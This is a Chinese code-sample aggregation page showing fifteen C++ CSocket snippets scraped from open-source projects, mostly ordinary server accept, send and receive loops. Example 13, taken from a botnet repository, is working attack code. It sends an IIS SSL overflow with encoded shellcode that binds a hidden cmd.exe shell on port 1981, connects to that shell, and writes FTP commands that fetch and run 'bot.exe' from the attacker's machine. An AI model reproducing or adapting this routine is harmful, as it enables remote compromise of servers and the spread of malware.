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C++ CSocket类代码示例

本文整理汇总了C++中CSocket的典型用法代码示例。如果您正苦于以下问题:C++ CSocket类的具体用法?C++ CSocket怎么用?C++ CSocket使用的例子?那么, 这里精选的类代码示例或许可以为您提供帮助。


在下文中一共展示了CSocket类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: sizeof

CSocket*	CSocket::accept()
{
	int fromSize = sizeof(sockaddr_in);
	sockaddr_in from;
	SOCKET conSock = ::accept(m_sock, (sockaddr *)&from, &fromSize);
	if (conSock ==  INVALID_SOCKET)
		return NULL;

	// 接続があった
    CSocket*	pSocket = new CSocket;
	pSocket->m_sock = conSock;

	pSocket->m_fromHost.port = from.sin_port;
	pSocket->m_fromHost.ip = from.sin_addr.S_un.S_un_b.s_b1<<24 |
				  from.sin_addr.S_un.S_un_b.s_b2<<16 |
				  from.sin_addr.S_un.S_un_b.s_b3<<8 |
				  from.sin_addr.S_un.S_un_b.s_b4;


	pSocket->_setBlocking(false);
	pSocket->_setBufSize(65535);

	return pSocket;
}
开发者ID:amate,项目名称:PeerCastPX,代码行数:24,代码来源:PecaCore.cpp

示例2: Accept

EIO_Status CListeningSocket::Accept(CSocket&        sock,
                                    const STimeout* timeout,
                                    TSOCK_Flags     flags) const
{
    SOCK       x_sock;
    EIO_Status status;
    if ( !m_Socket ) {
        x_sock = 0;
        status = eIO_Closed;
    } else
        status = LSOCK_AcceptEx(m_Socket, timeout, &x_sock, flags);
    assert(!x_sock ^ !(status != eIO_Success));
    sock.Reset(x_sock, eTakeOwnership, eCopyTimeoutsToSOCK);
    return status;
}
开发者ID:timothyjlaurent,项目名称:nacl_blast,代码行数:15,代码来源:ncbi_socket_cxx.cpp

示例3: Init

void CServer::Run()
{
	Init();

	CSocket sock;
	if(!sock.Socket()) return;
	if(!sock.Bind( CConfig::GetInstance()->GetPortPID(ID_SERVER), CConfig::GetInstance()->GetAddrPID(ID_SERVER)) ) return;
	
	cout << "listening.." << endl;
	sock.Listen();

	
	CWireThread* pThreadWire = new CWireThread();
	pThreadWire->Start();

	CGateThread* pThreadGate = new CGateThread();
	pThreadGate->Start();
	 
	if(!sock.Accept(m_sockMain)) return;
	if(!sock.Accept(m_sockOT)) return;
	sock.Close();

	cout << "accepted sockets!" << endl;

	COTThread* pThreadOT = new COTThread();

	pThreadOT->Start();
 
	RunMainThread();
	m_sockMain.Close();

	pThreadOT->Wait();
	m_sockOT.Close();

	pThreadGate->Wait();
	pThreadWire->Wait();

	Cleanup();

	delete pThreadOT;
	delete pThreadGate;
	delete pThreadWire;
	
} 
开发者ID:DBMI,项目名称:CountEverything,代码行数:44,代码来源:server.cpp

示例4: throw

/**
* Listens and accepts a client. Returns the accepted connection.
* @return CSocket*.
* @throw CSocketException
* @since 1.0.0
*/
CSocket* CServerSocket::Accept() throw (CSocketException) {
	if(m_sockAddr != NULL) 
		m_sockAddrIn = m_sockAddr->GetSockAddrIn();

	if(!m_bBound) {	
        if (m_socket == INVALID_SOCKET) {
		    m_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        }
        // The Bind method binds the socket to the server.
		int nret = bind(m_socket, (LPSOCKADDR)&m_sockAddrIn, sizeof(struct sockaddr));
		if (nret == SOCKET_ERROR) {
			throw CSocketException(WSAGetLastError(), "Failed to bind: Accept()");
		}
		m_bBound = true;
	}	

    // The listen function places a socket in a state in which it is listening for an incoming connection.
	if (listen(m_socket, m_nQueue) == SOCKET_ERROR) {
		throw CSocketException(WSAGetLastError(), "Failed to listen: Accept()");
	}

	SOCKET theClient = INVALID_SOCKET;
	SOCKADDR_IN clientAddr;
	int ssz = sizeof(struct sockaddr);

    // The accept function permits an incoming connection attempt on a socket.
	theClient = accept(m_socket,(LPSOCKADDR)&clientAddr, &ssz);
	if (theClient == INVALID_SOCKET) {
		throw CSocketException(WSAGetLastError(), "Invalid client socket: Accept()");		
	}

	CSocket *sockClient = new CSocket();
	sockClient->SetSocket(theClient);
	sockClient->SetClientAddr(clientAddr);		
	return sockClient;
}
开发者ID:AmesianX,项目名称:AVA,代码行数:42,代码来源:ServerSocket.cpp

示例5: s_WriteToSocket

static void s_WriteToSocket(CSocket& sock,
        const char* output_buffer, size_t output_buffer_size)
{
    size_t bytes_written;

    while (output_buffer_size > 0) {
        EIO_Status  status = sock.Write(output_buffer,
                output_buffer_size, &bytes_written);
        if (status != eIO_Success) {
            // Error writing to the socket.
            // Log what we can.
            string message_start;

            if (output_buffer_size > 32) {
                CTempString buffer_head(output_buffer, 32);
                message_start = NStr::PrintableString(buffer_head);
                message_start += " (TRUNCATED)";
            } else {
                CTempString buffer_head(output_buffer, output_buffer_size);
                message_start = NStr::PrintableString(buffer_head);
            }

            NCBI_THROW_FMT(CNetStorageException, eIOError,
                    "Error writing message to the NetStorage server " <<
                            sock.GetPeerAddress() << ". "
                    "Socket write error status: " <<
                            IO_StatusStr(status) << ". "
                    "Bytes written: " <<
                            NStr::NumericToString(bytes_written) << ". "
                    "Message begins with: " << message_start);
        }

        output_buffer += bytes_written;
        output_buffer_size -= bytes_written;
    }
}
开发者ID:DmitrySigaev,项目名称:ncbi,代码行数:36,代码来源:netstorage_rpc.cpp

示例6: SocketThread

unsigned int WINAPI SocketThread(void *lpParameter)
{
	CSocket socket;
	if (!socket.open())
	{
		return 0;
	}

	CPacketKeepAlive packet((UINT32)lpParameter);
	
	while (TRUE)
	{
		socket.sendto(packet.GetData(), packet.GetSize());

		if (WAIT_TIMEOUT != ::WaitForSingleObject(g_hEventFinish, 1000))
		{
			break;
		}
	}

	socket.close();

	return 0;
}
开发者ID:actboy168,项目名称:YDWE,代码行数:24,代码来源:DllMain.cpp

示例7: run

	virtual void run() {
		CSocket *client;
		CSocket sock(SOCK_STREAM);
		sock.bind(REMOTE_PORT);
		sock.listen();
		while(1) {
			client = sock.accept();								// wait for client connecting
			if ( client ) {
				dbg.println("server: connected");
				byte buf[sizeof(msg)];
				int  len;
				while( client->isConnected() ) {
					if ( client->readable() ) {
						len = client->read(buf, sizeof(buf));	// read message from client
						client->write(buf, len);				// write back message to client
						leds[0] = !leds[0];
						dbg.println("Client > %s", buf);
					}
				}
				delete client;									// free the client socket after disconnected
				dbg.println("server: disconnected");
			}
		}
	}
开发者ID:brucetsao,项目名称:nano1768,代码行数:24,代码来源:main.cpp

示例8: memset

// worker thread
void *MarketWorkerThread(void* data)
{
	PMarketThreadParam pThrParam = reinterpret_cast<PMarketThreadParam>(data);

	CSocket sockDrv;
	sockDrv.setSocketFd(pThrParam->iSockfd); // client socket

	PTradeRequest pMessage = new TTradeRequest;
	memset(pMessage, 0, sizeof(TTradeRequest)); // zero the structure

	do {
		try {
			sockDrv.dbt5Receive(reinterpret_cast<void*>(pMessage),
					sizeof(TTradeRequest));
	
			// submit trade request
			pThrParam->pMarketExchange->m_pCMEE->SubmitTradeRequest(pMessage);
		} catch(CSocketErr *pErr) {
			sockDrv.dbt5Disconnect(); // close connection

			ostringstream osErr;
			osErr << time(NULL) <<
					" Trade Request not submitted to Market Exchange" << endl <<
					"Error: "<<pErr->ErrorText() << endl;
			pThrParam->pMarketExchange->logErrorMessage(osErr.str());
			delete pErr;

			// The socket is closed, break and let this thread die.
			break;
		}
	} while (true);

	delete pMessage;
	delete pThrParam;
	return NULL;
}
开发者ID:gauthier-voron,项目名称:DBT-5,代码行数:37,代码来源:MarketExchange.cpp

示例9: dump_request

// dump request
void dump_request( HttpRequest& req, HttpUrl& url, CSocket& s )
{
	s.printf( "<br><br><table border width=650>" );
	s.printf( "<tr><td>%s</td><td>%s</td></tr>", req.method(), url.file() );
	for( HttpRequest::TagsIterator it=req.tags_begin();
		it != req.tags_end(); it++ )
		{
			s.printf( "<tr><td><b>%s</b></td>", (*it).first.c_str() );		 
			if( !(*it).second.empty() ) s.printf( "<td>%s</td></tr>", (char*)(*it).second );
		}
	s.printf("</table>" );
	// informatiile din url
	s.printf( "<table border width=650>" );
	for( HttpUrl::QueryIterator itr=url.query_begin();
		itr != url.query_end(); itr++ )
		{
			s.printf( "<tr><td><b>%s</b></td>", (*itr).first.c_str() );		 
			if( !(*itr).second.empty() ) s.printf( "<td>%s</td></tr>", (char*)(*itr).second );
		}
	s.printf("</table>" );
}
开发者ID:andreisavu,项目名称:static-httpd,代码行数:22,代码来源:http_server.cpp

示例10: Accept

bool CServerWorkFlow::Accept(SOCKET hListenSock)
{
	CSocket socket;
	SOCKET hOldSock = socket.Detach();
	socket.Attach(hListenSock);
	BOOL bAccept = socket.Accept(*m_pServerSocket);
	socket.Detach();
	socket.Attach(hOldSock);
	return (TRUE == bAccept);
}
开发者ID:tylor1,项目名称:repo,代码行数:10,代码来源:ServerWorkFlow.cpp

示例11: RecvData

BOOL CServerSocket::RecvData(CSocket& client,
											BYTE* pData, long nLen)
{
	BYTE* pTmpData=pData;
  long nLeft=nLen;//剩余的还没有的接收的数据的长度
	while (nLeft>0)
	{
		int nRecv=client.Receive(pTmpData,nLeft);
		if (nRecv==SOCKET_ERROR)
		{
			return FALSE;
		}
		nLeft-=nRecv;
    pTmpData+=nRecv;
	}
	return TRUE;
}
开发者ID:isongbo,项目名称:MyCode,代码行数:17,代码来源:ServerSocket.cpp

示例12: suc_suc_pre_pre

/*更新前继的前继和后继的后继*/
void Join::suc_suc_pre_pre()
{
	CSocket socket;
	socket.Connect(peer->fingerTable.sucsucIP.c_str(),peer->fingerTable.sucsucPort);
	string cmd = "set_your_pre_pre ";
	stringstream ss,ss1;ss<<peer->getId();ss1<<peer->getPort();
	cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str());
	socket.WriteLine(cmd);
	socket.Close();

	socket.Connect(peer->fingerTable.prepreIP.c_str(),peer->fingerTable.preprePort);
	cmd = "set_your_suc_suc ";
	cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str());
	socket.WriteLine(cmd);
	socket.Close();
}
开发者ID:Yelbosh,项目名称:P2PSharing,代码行数:17,代码来源:Join.cpp

示例13: SendLocal

bool CScannerHTTP::ExploitIISSSL(int iHTTPType) {
	unsigned int	i;
	unsigned char	*badbuf, *p;
	unsigned long	offset=0x6741a1cd, XOR=0xffffffff;

	if(g_pMainCtrl->m_pBot->scaninfo_level.iValue >= 2) {
		SendLocal("%s: scanning ip %s", m_sScannerName.CStr(), m_sSocket.m_szHost); } 
	
	char sslshit[]="\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";

	/* hidden cmd.exe, bind port 1981 */
	char shellcode[]="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12\x41\x5E\x9E\x9B\x99\x9E\x24\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99";

	badbuf=(unsigned char*)malloc(347); memset(badbuf, 0, 347);
	p=badbuf; memcpy(p, sslshit, sizeof(sslshit));
	p+=sizeof(sslshit)-1; strcat((char*)p, jumper);
	strcat((char*)p, greetings_to_microsoft);

	offset^=XOR; strncat((char*)p, (char*)&offset, 4);
	strcat((char*)p, shellcode);

	if(!m_sSocket.Write((char*)badbuf, 346)) { m_sSocket.Disconnect(); return false; }
	Sleep(1000); CSocket outSocket;
	if(!outSocket.Connect(m_sSocket.m_szHost, 1981)) {
		if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2)
			SendLocal("%s: Not vulnerable: %s", m_sScannerName.CStr(), m_sSocket.m_szHost);
		m_sSocket.Disconnect(); return false; }

	/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
	/* Thanks to PhaTTy for this piece of code :)                */
	char mkdir_buff[400]="";
	int iPort=g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue;
	/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

	sprintf(mkdir_buff, "echo open %s %d > bla.txt\necho user blah blah >> bla.txt\necho binary >> bla.txt\necho get %s >> bla.txt\necho quit >> bla.txt\nftp.exe -n -s:bla.txt\n%s\n",
		g_pMainCtrl->m_pIRC->m_sLocalIp.CStr(), iPort, "bot.exe", "bot.exe");

	char szRecvBuf[8192];
	if(!outSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000)) {
		m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }

	Sleep(500);

	if(!outSocket.Write((char *) mkdir_buff, sizeof(mkdir_buff))) {
		m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }

	/* successful!!! */
	if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2) {
		SendLocal("%s: Exploited %s", m_sScannerName.CStr(), m_sSocket.m_szHost); }

	m_sSocket.Disconnect(); return true; }
开发者ID:A-Massarella,项目名称:Botnet,代码行数:51,代码来源:httpscanner.cpp

示例14: main

void main()
{
	AfxSocketInit();
	CSocket sock;
	int n = sock.Create(PORT1);
	if(!n)
	{
		cout << "创建句柄失败:" << GetLastError() << endl;
		return;
	}
	sock.Listen();

	while (true)
	{
		
		CSocket socka;
		n = sock.Accept(socka);
		if(!n)
		{
			cout << "接受对方连接失败:" << GetLastError() << endl;
			return;
		}
		while (true)
		{
			char s[256];
			n = socka.Receive(s,sizeof(s));
			if(SOCKET_ERROR == n)
			{
				cout << "接收数据失败:" << GetLastError() << endl;
				break;
			}
			if(!n)
			{
				cout << "结束接收数据,句柄关闭!" << endl;
				break;
			}
			cout << s <<endl;
		}
		socka.Close();

	}
}
开发者ID:LeonLH,项目名称:hello-world,代码行数:42,代码来源:Source.cpp

示例15: RecvData

BOOL CServerSocket::RecvData(CSocket & client, 
							 BYTE* pData,DWORD nLen)
{
   LPBYTE pTmpData=pData;//当前要存放数据的缓冲区地址
   DWORD nLeft=nLen;//当前未接收的数据的长度
   while(nLeft>0)
   {
	   //接收剩余数据,并返回当次接收的实际数据长度
	   int nRecv=client.Receive(pTmpData,nLeft);
	   if (nRecv==SOCKET_ERROR)
	   {
		   return FALSE;
	   }
	   //重新计算剩余的数据长度
       nLeft=nLeft-nRecv;
	   //将数据指针偏移已经接受的数据量
	   pTmpData=pTmpData+nRecv;
   }
   return TRUE;


}
开发者ID:soplist,项目名称:study-c-cpp,代码行数:22,代码来源:ServerSocket.cpp


注:本文中的CSocket类示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。